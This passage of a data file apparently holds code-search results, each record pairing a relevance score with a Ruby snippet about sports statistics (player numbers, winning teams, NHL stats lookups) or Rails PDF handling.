cur_players.flatten! \n end", "title": "" }, { "docid": "02b4c46f2be6db0187be4892128fd589", "score": "0.5880029", "text": "def getTeams()\n for player in @skater_data\n puts player\n begin\n team = JSON.parse((RestClient.get \"https://statsapi.web.nhl.com/api/v1/people/#{player[5]}\"))[\"people\"][0][\"currentTeam\"][\"name\"]\n rescue\n team = \"N/A\"\n end\n if team.include? \"Canadiens\"\n team = \"Montreal Canadiens\"\n end\n player.push(team)\n end\n for goalie in @goalie_data\n begin\n team = JSON.parse((RestClient.get \"https://statsapi.web.nhl.com/api/v1/people/#{goalie[5]}\"))[\"people\"][0][\"currentTeam\"][\"name\"]\n rescue\n team = \"N/A\"\n end\n if team.include? \"Canadiens\"\n team = \"Montreal Canadiens\"\n end\n goalie.push(team)\n puts goalie\n end\nend", "title": "" }, { "docid": "a618bfcfecc0f0ea30eff6716f99c688", "score": "0.5869435", "text": "def player_numbers(team_name)\n result = []\n game_hash.each do |team, about|\n if team_name == about[:team_name]\n about[:players].each do |name, stats|\n result << stats[:number]\n end\n end\n end\n result\nend", "title": "" }, { "docid": "68b5434ea873b267212176027711b433", "score": "0.5852973", "text": "def player_numbers(team)\n numbers = []\n game_hash.each do |location, team_data|\n if team_data[:team_name] == team\n team_data[:players].each do |player_name, stat|\n numbers << stat[:number]\n end\n end\n end\n return numbers\nend", "title": "" }, { "docid": "3d443ee532ee8b4fb08ac8193dd441c6", "score": "0.5846453", "text": "def player_numbers(team_name)\n\nnum_array = []\n\ngame_hash.each do |team, team_stats|\n if team_stats[:team_name] == team_name\n team_stats.each do |k, v|\n if k == :players \n v.each do |stats|\n num_array << stats[:number]\n end\n end\n end\nend\nend\n#the final array should be the last thing returned before program ends\nnum_array\nend", "title": "" }, { "docid": "87157d797c1d4e3419730534813b32ec", "score": "0.5833893", "text": "def player_numbers(selected_team)\n game_hash.values.each do |team|\n if team.has_value?(selected_team)\n return team[:players].map {|jerseys| jerseys[:number]}\n end\n end\nend", "title": "" }, { "docid": "50b78052cc02d9a03fb5921f9e118ae2", "score": "0.581543", "text": "def calculate_team_points\n # If the bracket is complete, we can calculate points based on the\n # teams' `final_rank`s.\n if @state == \"complete\"\n calculate_team_points_by_final_rank\n return\n end\n\n # For each team, look at the matches that it is in, look at the point\n # values of those matches, and take the maximum point value. That's the\n # number of points that the team has earned so far in the bracket.\n base_point_value = @config.base_point_value\n\n @teams.each do |team|\n matches_with_team = @matches.select { |match| match.has_team?(team.id) }\n\n puts \"Team #{team.name} was in #{matches_with_team.size} matches\"\n\n points_earned = matches_with_team.max_by(&:points).points\n\n puts \"The largest point value of those matches is #{points_earned}\" \\\n \"#{\" + #{base_point_value} base\" if base_point_value > 0}\"\n\n team.points = points_earned + base_point_value\n end\n end", "title": "" }, { "docid": "f88a498375c4e44d45f3bb30f917742e", "score": "0.5810614", "text": "def total_medals_per_team(olympic_data)\n\n team_medals_hash = {}\n\n olympic_data.each do |data|\n\n if team_medals_hash.key?(data[\"Team\"])\n if [\"Gold\", \"Silver\", \"Bronze\"].include?(data[\"Medal\"]) #SAME TEAM, MEDAL\n team_medals_hash[data[\"Team\"]] += 1\n end\n else\n\n if [\"Gold\", \"Silver\", \"Bronze\"].include?(data[\"Medal\"]) # NEW TEAM, MEDAL\n team_medals_hash[data[\"Team\"]] = 1\n else\n team_medals_hash[data[\"Team\"]] = 0\n\n end\n end\n end\n return team_medals_hash\nend", "title": "" }, { "docid": "7d78de14808cdef37cf8b3efdd71ffbe", "score": "0.5810144", "text": "def player_numbers(team_name)\n results = []\n \n game_hash.each do |location, team_data|\n if team_data[:team_name] == team_name\n team_data.each do |attributes, data|\n if attributes == :players\n data.each do |data_item|\n results << data_item[:number]\n end\n end\n end\n end\n end\n return results\nend", "title": "" }, { "docid": "b5bb4b08fa1fb939073de24a32f092fc", "score": "0.57937074", "text": "def winning_team\n home_points = collection_by_prop(game_hash[:home], :points).reduce(0, :+)\n away_points = collection_by_prop(game_hash[:away], :points).reduce(0, :+)\n home_points > away_points ? game_hash[:home][:team_name] : game_hash[:away][:team_name]\n end", "title": "" }, { "docid": "461968de5a66ced059b095a22d2dea1e", "score": "0.5792117", "text": "def final_results_list\n winners = sort_group_of_teams(self.teams.select { |team| team.playoffs && team.court_id == 100 })\n losers = sort_group_of_teams(self.teams.select { |team| team.playoffs && team.court_id != 100 })\n\n #only for kob, game play will not have a losers court\n ## winner of consolation court kob, become overall 4th place\n if (losers)\n third_place = losers.shift\n winners.insert(3, third_place).concat(losers)\n end\n winners\n end", "title": "" }, { "docid": "5c977e7eb9e949c0f2b704e11bbc2077", "score": "0.5782683", "text": "def player_numbers(team_name)\n array_of_jerseys = []\n one_team_stats(team_name)[:players].each do |player, stats|\n array_of_jerseys << stats[:number]\n end\n array_of_jerseys\nend", "title": "" }, { "docid": "7c46b43011c7fc8c62b429446a978842", "score": "0.5781429", "text": "def player_numbers(teamname)\n outArray = []\n if game_hash[:home][:team_name] == teamname\n game_hash[:home][:players].each do |k,v|\n #puts \"#{k} TEST #{v}\"\n v.each do |result,number|\n if result == :number\n outArray << number\n end\n end\n end\n outArray\n\n elsif game_hash[:away][:team_name] == teamname\n game_hash[:away][:players].each do |k,v|\n #puts \"#{k} TEST #{v}\"\n v.each do |result,number|\n if result == :number\n outArray << number\n end\n end\n end\n outArray\nend\nend", "title": "" }, { "docid": "e8dc5c52d1d7ff7aa4a91b959a050bca", "score": "0.5780334", "text": "def player_numbers(team_name)\n result = []\n game_hash.each do |side,team|\n if team[:team_name] == team_name\n team.each do |specs, info|\n next unless specs == :players\n\n info.each do |player|\n result.push(player[:number])\n end\n end\n end\n end\n result\nend", "title": "" }, { "docid": "7908d2fa35e12e5b9c89f9a8ea019767", "score": "0.5773263", "text": "def player_stats(player_name)\n player_stat = {}\n game_hash.each do |team,info|\n info.each do |team_info,team_data|\n if team_data.is_a? (Array) \n if team_info != :colors\n team_data.each do |player_index|\n if player_index[:player_name] == player_name\n player_stat = player_index\n end\n end\n end\n end\n end\n end\n player_stat\nend", "title": "" }, { "docid": "0a7d2a306f5efbea09a9f73a643423a5", "score": "0.5773221", "text": "def wins_losses\n GAME_INFO.each do |game|\n @team_records.each do |team|\n if game[:home_team] == team.name && game[:home_score] > game[:away_score] #refactor later\n team.wins += 1\n elsif game[:home_team] == team.name && game[:home_score] < game[:away_score]\n team.losses += 1\n end\n end\n end\n\n GAME_INFO.each do |game|\n @team_records.each do |team|\n if game[:away_team] == team.name && game[:away_score] > game[:home_score] #refactor later\n team.wins += 1\n elsif game[:away_team] == team.name && game[:away_score] < game[:home_score]\n team.losses += 1\n end\n end\n end\n\n end", "title": "" }, { "docid": "c14ff049dc7ebb7d5fdce284edeb1cf6", "score": "0.57652205", "text": "def wattball_matches\n self.wattball_matches_as_team1 + self.wattball_matches_as_team2\n end", "title": "" }, { "docid": "51ab2d3775945c6821eb9c923552eee8", "score": "0.5761696", "text": "def get_team_games(team)\n res = Array.new\n\n @games.each do |g|\n if team == g.home_team\n res.push(g)\n end\n\n if team == g.away_team\n res.push(g)\n end\n end\n\n return res\n end", "title": "" }, { "docid": "c55d970ca553ad2fe765d8c5cbacf856", "score": "0.57562774", "text": "def calculate_results\n players = {}\n @rounds.each do |round|\n round[:results].each do |player, result|\n if not players.has_key?(player)\n players[player] = 0\n end\n if result[:result] == \"Win\"\n players[player] += 1\n end\n end\n end\n winner = players.max_by { |k, v| v }\n players.each do |player, wins|\n @match[player] = {\n \"result\": (player == winner[0]) ? \"Win\" : \"Loss\",\n \"score\": wins,\n }\n if @duplicate_players\n @match[player][:result] = \"Tie\"\n end\n end\n end", "title": "" }, { "docid": "e9966f3679a25e5aca6c6f7aec972cac", "score": "0.57551134", "text": "def update_score_from_games!\n return if self.games.count == 0\n score_by_steam_id = {}\n self.games.each do |g|\n # Add one point to winning team, 0 to losing team so that they show up in the keyset when we check later\n if g.radiant_win === true\n score_by_steam_id[g.radiant_team_id] = score_by_steam_id[g.radiant_team_id].to_i + 1\n score_by_steam_id[g.dire_team_id] = score_by_steam_id[g.dire_team_id].to_i\n elsif g.radiant_win === false\n score_by_steam_id[g.radiant_team_id] = score_by_steam_id[g.radiant_team_id].to_i\n score_by_steam_id[g.dire_team_id] = score_by_steam_id[g.dire_team_id].to_i + 1\n end\n end\n\n # OK the keys are team ids, so now save them\n if score_by_steam_id[self.home_participant.id] != nil && score_by_steam_id[self.away_participant.id] != nil\n self.home_score = score_by_steam_id[self.home_participant.id]\n self.away_score = score_by_steam_id[self.away_participant.id]\n self.save!\n else\n puts score_by_steam_id.inspect\n puts self.home_participant_id.inspect\n puts self.away_participant_id.inspect\n puts \"WARNING: teams did not match, not updating match score\"\n end\n end", "title": "" }, { "docid": "b29e8cefe8a865a29b523d7e690714ce", "score": "0.57550573", "text": "def player_numbers(team_name)\n jersey_nums = []\n game_hash.each do |place, team|\n if team[:team_name] == team_name\n team.each do |attribute, player_info|\n if attribute == :players\n player_info.each do |data|\n jersey_nums << data[:number]\n end\n end\n end\n end\n end\n jersey_nums\nend", "title": "" }, { "docid": "7df21b2ab63f65a5ea2172c732839b40", "score": "0.57466", "text": "def scoreboard\n teams.sort { |team1, team2| team1.score == team2.score ? team1.name <=> team2.name : team2.score <=> team1.score }.each_with_object([]) do |team, scoreboard|\n scoreboard << { name: team.name, score: team.score, goals: team.goals }\n end\n end", "title": "" }, { "docid": "5e14ff18b402f4bbc4e33200cdfef7c7", "score": "0.57408017", "text": "def winning_team\n most_points_scored_helper\n winning_team = \"\"\n \n game_hash.each do |key, value|\n players = value[:players]\n players.each do |element|\n if most_points_scored_helper == element[:points]\n winning_team = value[:team_name]\n end\n end\n end\n winning_team\nend", "title": "" }, { "docid": "6f7254ca3957ba2334601d40467338a0", "score": "0.57340103", "text": "def matches_played_by_season(table_of_teams)\n matches_played = Hash.new { |hash, key| hash[key] = Hash.new(0) }\n\n table_of_teams.each do |table_row|\n matches_played[table_row['season']][table_row['team1']] += 1\n matches_played[table_row['season']][table_row['team2']] += 1\n end\n matches_played\nend", "title": "" }, { "docid": "775a2959d53f8d16b79bed7ebe80608e", "score": "0.57244956", "text": "def player_numbers (team_name)\n player_number_array = []\n game_hash.each do |team, all_info_hash|\n if all_info_hash[:team_name] == team_name\n all_info_hash[:players].each do |player|\n player.each do |key, value|\n if key == :number\n player_number_array << value\n end\n end\n end\n end\n end\n player_number_array\nend", "title": "" }, { "docid": "fc57626040af3dd94b5c988b9ba9754f", "score": "0.5723737", "text": "def awayTeamPoints\n teamSelect(\"Charlotte Hornets\")[:players].collect do|name, stats|\n stats[:points]\n end\nend", "title": "" }, { "docid": "5c8f969093a35bb96eb9d2cbdf8422d9", "score": "0.57080567", "text": "def poolplay_standings(team_ids, teams)\n group = teams.select { |team| team_ids.include?(team.id) }\n sort_teams_by_record_points(group)\n end", "title": "" }, { "docid": "697a526700d717218893254858954b30", "score": "0.5701692", "text": "def fold(teams)\n top, bottom = teams.each_slice(teams.length / 2).to_a\n\n bottom.reverse!\n\n top.zip(bottom).to_a\n end", "title": "" }, { "docid": "4ed4be161ffefae027118b567e5dc32a", "score": "0.57012486", "text": "def most_steals \n num_steals = 0\n game_hash.each do |team,info|\n info.each do |team_info,team_data|\n if team_data.is_a? (Array) \n if team_info != :colors\n team_data.each do |player_index|\n if num_steals == 0 || player_index[:steals] > num_steals \n num_steals = player_index[:steals] \n end\n end\n end\n end\n end\n end\nnum_steals\nend", "title": "" }, { "docid": "017adfbce0e9b3d4295afa09bcd9f73d", "score": "0.5688416", "text": "def buildUserToBetsMap(year, teamToStandingsMap)\n allBets = MlbWinBet.joins(:mlb_win)\n .where(\"mlb_wins.year = \" + year.to_s)\n .order(:user_id, \"amount DESC\")\n userToBets = {}\n allBets.each do |bet|\n if !userToBets.has_key?(bet.user.id)\n # hash doesn't have user yet; initialize user data hash\n userData = {}\n userData[\"bets\"] = [bet]\n userData[\"points\"] = 0\n userData[\"user\"] = bet.user\n userToBets[bet.user.id] = userData\n else\n # add bet to user data hash\n userToBets[bet.user.id][\"bets\"] << bet\n end\n\n # Update points if bet is correct, based on projection of current standings\n mlb_standing = teamToStandingsMap[bet.mlb_win.mlb_team_id]\n if mlb_standing.projected_result(bet.mlb_win.line) == bet.prediction\n userToBets[bet.user.id][\"points\"] += bet.amount\n end\n end\n return userToBets\n end", "title": "" }, { "docid": "e07fba5cb7f38cfd913b4a63412ace59", "score": "0.5686319", "text": "def calculate_player_points\n # Sort the teams by points in descending order. This way, the output will\n # follow the teams' finishing order, which will be easier to read.\n @teams.sort_by(&:points).reverse_each do |team|\n puts \"Awarding #{team.points} points to #{team.name}: \" +\n @players[team.id].map(&:to_s).join(\", \")\n\n @players[team.id].each do |player|\n player.points = team.points\n end\n end\n end", "title": "" }, { "docid": "5c251ceb397e9a36e0a39219fed0af12", "score": "0.5682445", "text": "def calculate_results\n players = {}\n @rounds.each do |round|\n round[:results].each do |player,result|\n if not players.has_key?(player)\n players[player] = 0\n end\n if result[:result] == \"Win\"\n players[player] += 1\n end\n end\n end\n winner = players.max_by{|k,v| v}\n players.each do |player, wins|\n @match[player] = {\n \"result\": (player == winner[0]) ? \"Win\" : \"Loss\",\n \"score\": wins\n }\n\t if @duplicate_players then\n\t\t@match[player][:result]= \"Tie\"\n\t end\n\t \n end\n end", "title": "" }, { "docid": "1fb38649b21fbe97972122471f54be99", "score": "0.56727934", "text": "def matchups\n\t# we will create a temporary array\n\t# for use only in this method,\n\t# so we don't effect the original\n\t# @teams array with an deletions\n\ttemp_arr = []\n\[email protected] do |t|\n\t\ttemp_arr.push(t)\n\tend\n\n\tif temp_arr.length % 2 != 0\n\t\t# check if there is an odd number of teams,\n\t\t# if there is an odd number, we pull pull\n\t\t# out the top one and give them a bye week\n\t\tputs \"(1) #{temp_arr.delete_at(0).name} has a bye\"\n\t\t# and now we have an even number of teams\n\tend\n\n\t# match up the even amount of teams,\n\t# assuming there are any teams...\n\twhile temp_arr.length > 0\n\t\tteam1 = temp_arr.delete_at(0)\n\t\t# team 1 is the first one in array\n\t\tteam2 = temp_arr.pop\n\t\t# team 2 is last in array\n\t\tputs \"(#{team1.ranking}) #{team1.name} versus (#{team2.ranking}) #{team2.name}\"\n\t\t# this continues until no teams are left in the array\n\t\t# Example: \n\t\t# [1,2,3,4,5,6]\n\t\t# team1 = 1\n\t\t# team2 = 6\n\t\t# [2,3,4,5]\n\t\t# team1 = 2\n\t\t# team2 = 5\n\t\t# [3,4]\n\t\t# team1 = 3\n\t\t# team2 = 4\n\tend\n\n\treturn_to_menu\nend", "title": "" }, { "docid": "b2ffd3222de200992b5afed67d9be6e5", "score": "0.5672623", "text": "def player_numbers(team_name)\n player_nums = []\n #top level\n game_hash.each do |location, team_data|\n #team?\n if game_hash[location][:team_name].join == team_name\n #all players\n game_hash[location][:players].each do |all_players|\n #iterate over players\n all_players.each do |player_name,stats|\n #check number\n stats.each do |category, val|\n if category == :number\n player_nums << stats[category]\n end\n end\n end\n end\n end\n end\n player_nums\nend", "title": "" }, { "docid": "2d01c44cb513f9563c42b072a0db993f", "score": "0.5669931", "text": "def create_match_teams(n, match, sport)\n teams_in_sport = Team.all.select{|t| t.sport_id == sport.id}\n teams_that_played = teams_in_sport.sample(n)\n\n teams_that_played.each do |t|\n match_team = MatchTeam.new\n match_team.match = match\n match_team.team = t\n match_team.is_winner = 0\n\n # if match has been played, give it a random score\n if match.is_completed\n match_team.score = rand(50)\n end\n \n match_team.save\n end\n\n # traverse match_teams and assign winners\n if match.is_completed\n match_teams_for_current_match = MatchTeam.all.select{|mt| mt.match == match}\n winner = match_teams_for_current_match.max{ |match_team_1, match_team_2| match_team_1.score <=> match_team_2.score}\n winner.update(is_winner: 1)\n end\n\n\n \nend", "title": "" }, { "docid": "8b817a9267d1a965a0bfbb3734ed7915", "score": "0.5667327", "text": "def getMidSeasonStatistics()\n for player in @skater_data\n begin\n stats = JSON.parse((RestClient.get \"https://statsapi.web.nhl.com/api/v1/people/#{player[5]}/stats?stats=statsSingleSeason\"))[\"stats\"][0][\"splits\"][0][\"stat\"]\n gamesLeft = 82 - @games_played[player[player.length-1]]\n player[6] = ((player[6].to_f/82)*gamesLeft + stats[\"goals\"]).to_i\n player[7] = ((player[7].to_f/82)*gamesLeft + stats[\"assists\"]).to_i\n player[8] = ((player[8].to_f/82)*gamesLeft + stats[\"powerPlayPoints\"]).to_i\n player[9] = ((player[9].to_f/82)*gamesLeft + stats[\"plusMinus\"]).to_i\n player[10] = ((player[10].to_f/82)*gamesLeft + stats[\"shots\"]).to_i\n player[11] = ((player[11].to_f/82)*gamesLeft + stats[\"hits\"]).to_i\n rescue\n gamesLeft = 82 - @games_played[player[player.length-1]]\n player[6] = ((player[6].to_f/82)*gamesLeft).to_i\n player[7] = ((player[7].to_f/82)*gamesLeft).to_i\n player[8] = ((player[8].to_f/82)*gamesLeft).to_i\n player[9] = ((player[9].to_f/82)*gamesLeft).to_i\n player[10] = ((player[10].to_f/82)*gamesLeft).to_i\n player[11] = ((player[11].to_f/82)*gamesLeft).to_i\n end\n puts player\n end\n for goalie in @goalie_data\n begin\n stats = JSON.parse((RestClient.get \"https://statsapi.web.nhl.com/api/v1/people/#{goalie[5]}/stats?stats=statsSingleSeason\"))[\"stats\"][0][\"splits\"][0][\"stat\"]\n gamesLeft = 82 - @games_played[goalie[goalie.length-1]]\n goalie[6] = ((goalie[6].to_f/82)*gamesLeft + stats[\"gamesStarted\"]).to_i\n goalie[7] = ((goalie[7].to_f/82)*gamesLeft + stats[\"wins\"]).to_i\n goalie[9] = (((goalie[9].to_f)*gamesLeft + stats[\"savePercentage\"]*@games_played[goalie[13]])/82).round(4)\n goalie[11] = (((goalie[11].to_f)*gamesLeft + stats[\"goalAgainstAverage\"]*@games_played[goalie[13]])/82).round(4)\n goalie[12] = ((goalie[12].to_f/82)*gamesLeft + stats[\"shutouts\"]).to_i\n rescue\n gamesLeft = 82 - @games_played[goalie[goalie.length-1]]\n goalie[6] = ((goalie[6].to_f/82)*gamesLeft).to_i\n goalie[7] = ((goalie[7].to_f/82)*gamesLeft).to_i\n goalie[9] = ((goalie[9].to_f/82)*gamesLeft).to_i\n goalie[11] = ((goalie[11].to_f/82)*gamesLeft).to_i\n goalie[12] = ((goalie[12].to_f/82)*gamesLeft).to_i\n end\n puts goalie\n end\nend", "title": "" }, { "docid": "a26790825253aaf8b3d05edc851d1f56", "score": "0.56666106", "text": "def getFAInfo(type, array)\n for player in array do\n stats = @projections.find {|row| (row['Last Name'] == player[\"name\"][\"last\"] && row['First Name'] == player[\"name\"][\"first\"] && row['Team'] == player[\"editorial_team_full_name\"])}\n if stats \n schedule = @dates.find {|row| row[0] == player[\"editorial_team_full_name\"]}\n gp = 0\n gLeft = 0\n for i in 1..schedule.length-1\n if schedule[i] != \"-\"\n gp += 1\n if @displayWeek != @currWeek\n gLeft = gp\n else\n if i > schedule.length-1 - @daysLeft\n gLeft +=1\n end\n end\n end\n end\n isBestPlayer(player,stats,gLeft)\n @players.push([player,stats,schedule,gp,type,gLeft])\n else\n puts player\n end\n end\nend", "title": "" }, { "docid": "c2d9bb0fe31a1b69a1499cf0ac2c537c", "score": "0.5660677", "text": "def retrieve_season_hall_of_fame\n seasons_hall_of_fame = []\n get_involved_teams unless @involved_teams\n\n @involved_teams.each do |team|\n team_placement = {}\n team_placement[:team] = team\n %w[first_place second_place third_place].each_with_index do |rank, index|\n placement = index + 1\n team_placement[rank.to_sym] = team.computed_season_ranking.joins(:season).where(\"seasons.season_type_id = #{@season_type.id} AND computed_season_rankings.rank = #{placement}\").count\n end\n seasons_hall_of_fame << team_placement\n end\n seasons_hall_of_fame.sort { |p, n| (n[:first_place] * 10_000 + n[:second_place] * 100 + n[:third_place]) <=> (p[:first_place] * 10_000 + p[:second_place] * 100 + p[:third_place]) }\n end", "title": "" }, { "docid": "6f1a39c6377211291b1fc10f2e0a1aae", "score": "0.56541014", "text": "def num_points_scored(player_name)\n scored_points = 0\n game_hash.each do |team,info|\n info.each do |team_info,team_data|\n if team_data.is_a? (Array) \n if team_info != :colors\n team_data.find do |player_index|\n if player_index[:player_name] == player_name\n scored_points = player_index[:points]\n end\n end\n end\n end\n end\n end\n scored_points\nend", "title": "" }, { "docid": "627c1b4e7635d0a6eb06cf9ee003cf72", "score": "0.56510615", "text": "def most_points_scored\n most_points_scored = 0\n player_with_the_most_points_scored = \"\"\n game_hash.each do |team,info|\n info.each do |team_info,team_data|\n if team_data.is_a? (Array) \n if team_info != :colors\n team_data.each do |player_index|\n if most_points_scored == 0 || player_index[:points] > most_points_scored \n most_points_scored = player_index[:points]\n player_with_the_most_points_scored = player_index[:player_name]\n end\n end\n end\n end\n end\n end\n player_with_the_most_points_scored\nend", "title": "" }, { "docid": "6e8fed8256d033d18d019777d2dbe34d", "score": "0.56508845", "text": "def worst_offense\n teams_total_goals = total_goals_helper\n teams_total_games = total_games_helper\n\n worst_team_goals_avg = 1000\n worst_offense_team_id = 0\n this_team_goals_avg = 0\n\n teams_total_games.each do |games_key, games_value|\n teams_total_goals.each do |goals_key, goals_value|\n if goals_key == games_key\n this_team_goals_avg = (goals_value / games_value.to_f)\n if this_team_goals_avg < worst_team_goals_avg\n worst_team_goals_avg = this_team_goals_avg\n worst_offense_team_id = games_key\n end\n end\n end\n end\n\n team_with_worst_offense = nil\n self.teams.each_value do |team_obj|\n if team_obj.team_id. == worst_offense_team_id\n team_with_worst_offense = team_obj.team_name\n end\n end\n team_with_worst_offense\n end", "title": "" }, { "docid": "da62018ade5a13b72d7d91be236df0aa", "score": "0.56486154", "text": "def generateValue()\n for player in @skater_data\n player.push(0)\n end\n for goalie in @goalie_data\n goalie.push(0)\n end\n indexs = [6,7,8,9,10,11]\n dStats = []\n fStats = []\n for index in indexs\n dStats = getAveragesForStat(index,@skater_data,\"0\")\n fStats = getAveragesForStat(index,@skater_data,\"1\")\n addStat(@skater_data,dStats,\"0\",index)\n addStat(@skater_data,fStats,\"1\",index)\n end\n indexs = [6,7,9,11,12]\n gStats = []\n for index in indexs\n gStats = getAveragesForStat(index,@goalie_data,\"G\")\n addStat(@goalie_data,gStats,\"G\",index)\n end\n \nend", "title": "" }, { "docid": "61c698e51ec072e66c7fdfd8338ac791", "score": "0.5646862", "text": "def get_games_winners\n tally = all_player_tally #tally is a hash with the combination of scores between all players\n winner_tally = hash_select_by_max_key(tally)\n return convert_hash_keys_to_array(winner_tally)\n end", "title": "" }, { "docid": "cd28165aba00f1c228594815e57bfe81", "score": "0.5643641", "text": "def determine_winner game\n winner = game.max_by {|team| team[:score]}\n team_standings = get_team_by_name(winner)\n team_standings[:winnings] += 3\nend", "title": "" }, { "docid": "bee292a1dcf26b46b487acc667f65241", "score": "0.5642631", "text": "def create_team_list(game_matchups)\n home_team_list = game_matchups.map{|game_info| game_info[\"home_team\"]}\n away_team_list = game_matchups.map{|game_info| game_info[\"away_team\"]}\n duplicate_team_list = home_team_list.concat(away_team_list)\n #remove dupicate team names from team list\n duplicate_team_list.map{|team| team}.uniq\nend", "title": "" }, { "docid": "bee292a1dcf26b46b487acc667f65241", "score": "0.5642631", "text": "def create_team_list(game_matchups)\n home_team_list = game_matchups.map{|game_info| game_info[\"home_team\"]}\n away_team_list = game_matchups.map{|game_info| game_info[\"away_team\"]}\n duplicate_team_list = home_team_list.concat(away_team_list)\n #remove dupicate team names from team list\n duplicate_team_list.map{|team| team}.uniq\nend", "title": "" }, { "docid": "ea354ac3acab30a3df080e1bd3ea63b6", "score": "0.56408", "text": "def big_shoe_rebounds\n big_shoes = []\n max_shoe = []\n what_team = []\n game_hash.each do |location, team_color_player|\n team_color_player.each do |tcp, players|\n if tcp == :players\n players.each do |player, stat|\n stat.each do |statistic, actual|\n if statistic == :shoe\n max_shoe.push(actual)\n if max_shoe.max == actual\n big_shoes.push(player)\n what_team.push(location)\n end\n end\n end\n end\n end\n end\n end\n return game_hash[what_team.last][:players][big_shoes.last][:rebounds]\nend", "title": "" }, { "docid": "c055a93cf1294d005ed7e0ecdcd888df", "score": "0.5639074", "text": "def calculate_gains_strategies(data_points, strategies)\n strategies.each do |strat_name, strat_array|\n raise \"strategy #{strat_name}:#{strat_array} does not add up to 1\" unless strat_array.reduce(:+) == 1\n raise \"strategy #{strat_name}:#{strat_array} does not add have 12 elements\" unless strat_array.size == MONTHS_PER_YEAR\n end\n\n # Make sure that strategies_copy is _at least_ as long as data_points and iterate through all items at the same time\n strategies_size_increase = (data_points.size.to_f / MONTHS_PER_YEAR).ceil\n strategies_copy = strategies.clone\n strategies_copy.each { |k, v| strategies_copy[k] = v * strategies_size_increase }\n\n # results to keep track of how well each strategy is performing\n strategy_results = strategies.merge(strategies){|k,v| [] }\n\n data_points.each_index do |i|\n date = data_points[i][:date]\n puts \"-\" * 50\n puts \"Date: #{date}\"\n previous_data_point = i == 0 ? data_points[0] : data_points[i-1]\n current_data_point = data_points[i]\n\n change_ratio = calculate_ratio_increase(previous_data_point, current_data_point)\n puts\n\n strategies_copy.each do |strat_name, strat_array|\n previous_gains = i == 0 ? 0 : strategy_results[strat_name][i - 1]\n puts \"'#{strat_name}' previous gains: #{previous_gains}\"\n\n new_investment = strat_array[i]\n puts \"'#{strat_name}' new investment: #{new_investment}\"\n strategy_results[strat_name][i] = calculate_gain(change_ratio, previous_gains, new_investment)\n puts \"'#{strat_name}' current gains #{strategy_results[strat_name][i]}\\n\\n\"\n end\n puts\n end\n\n return strategy_results\nend", "title": "" } ]
f42a1b98c2d92ed70237aceb1a5f6de3
GET /website_pdfs/1 GET /website_pdfs/1.json
[ { "docid": "1d09a130a972456bb498d3741c3fe4bd", "score": "0.6181052", "text": "def show\n @website_pdf = WebsitePdf.where(:file_name => params[:id]).first\n end", "title": "" } ]
[ { "docid": "a45c51258f615a62fe745125dac47a8c", "score": "0.72122973", "text": "def index\n @website_pdfs = WebsitePdf.all.order(\"updated_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @website_pdfs }\n end\n end", "title": "" }, { "docid": "bd615dfdbc381b68488c2cea5867f690", "score": "0.7168564", "text": "def pdf\n record = OnDemandDerivative.find_or_create_record(work_id, \"pdf\", work_presenter: presenter)\n\n render json: record.as_json(methods: (record.success? ? \"url\" : nil))\n end", "title": "" }, { "docid": "8a2f2cc7e03844d75e51fef6acf214a8", "score": "0.69902575", "text": "def index \n # this should be @pdfable.pdfs, but whenever I do that\n # there is a postgres error, so some config is wrong \n @pdfs = @pdfable.pdfs\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pdfs }\n format.js\n end \n end", "title": "" }, { "docid": "798cef5291d4e748d171fb23735c3382", "score": "0.6914077", "text": "def pdf\n mono = Monologue.find_by(id: params[:mono_id])\n mono_pdf = rails_blob_path(mono.mono_pdf)\n render json: { mono: mono, mono_pdf: mono_pdf }\n end", "title": "" }, { "docid": "e5b43d198659066698e07ee24a2037fa", "score": "0.6765455", "text": "def get_pdfs_in_mongo\n @mongo.get_all_docs_by :filename\n end", "title": "" }, { "docid": "035a19811c63979d9cc1eb52ab4a981d", "score": "0.67063296", "text": "def get_pdf!\n File.write(path, Net::HTTP.get(URI.parse(uri)))\n end", "title": "" }, { "docid": "df1a4689ef59e8c193f61deac26a89d4", "score": "0.6649737", "text": "def get_document\n @bookalope.http_get(@url + '/files/document')\n end", "title": "" }, { "docid": "cf97f91e714425f1b24a8a3308e98bde", "score": "0.6620013", "text": "def pdf(number)\n get(\"/invoices/#{number}.pdf\")\n end", "title": "" }, { "docid": "cb731ff55b53644be07a6f7416701874", "score": "0.65877104", "text": "def index\n @pdfs = Pdf.all\n end", "title": "" }, { "docid": "8605b0a736f361b13b89515ea2d79ce5", "score": "0.655535", "text": "def index\n @pdfs = pdf_search\n end", "title": "" }, { "docid": "e3627f18d386427d35cbb65d98e0f9fb", "score": "0.6548375", "text": "def show\n @equipment = Equipment.full_load.find(params[:id])\n @comments = @equipment.comments.includes(:user).page(params[:page]).per(10)\n Dir.chdir(\"public\") do\n @pdfs = Dir.glob(\"reports/#{params[:id]}/*.pdf\")\n end\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @equipment }\n end\n end", "title": "" }, { "docid": "3e03c6dbbc429c3cce9ded09739394b5", "score": "0.654634", "text": "def show\n @pdf_flyer = PdfFlyer.find(params[:id])\n @path_to_pdf = File.join '../pdf',@pdf_flyer.filename\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pdf_flyer }\n end\n end", "title": "" }, { "docid": "1fd0d443712c5cbfd03bd794b914f058", "score": "0.64820635", "text": "def index\n @equipment = Equipment.full_load.page(params[:page])\n Dir.chdir(\"public\") do\n @mpdfs = Dir.glob(\"reports/user#{current_user.id}/*.pdf\")\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @equipment }\n end\n end", "title": "" }, { "docid": "35205f3fa45356520267e6fbe3b014d3", "score": "0.64634645", "text": "def pdf(id, filename = nil)\n pdf_data = @application.http_get(@application.client, \"#{url}/#{CGI.escape(id)}\", :response => :pdf)\n if filename\n File.open(filename, \"w\") { | fp | fp.write pdf_data }\n nil\n else\n pdf_data\n end\n end", "title": "" }, { "docid": "9d4433cbe12515db78133ef86e0e67ea", "score": "0.6410363", "text": "def getPDF code\n begin\n response = @client.call(:get_details, message: TrainingComponent.new(code))\n xmldoc = Nokogiri::HTML.parse response.doc.inner_html\n\n xmldoc.css('relativepath').each do |path|\n if path.content.include? 'pdf'\n file = path.text.split(\"\\\\\")[1]\n urlpart = path.text\n urlpart[\"\\\\\"] = \"/\"\n if !File.exists? (\"pdf/#{file}\")\n File.open(\"pdf/#{file}\", \"wb\") do |file|\n file.write open(\"#{@pdfurl}#{urlpart}\").read\n end\n puts 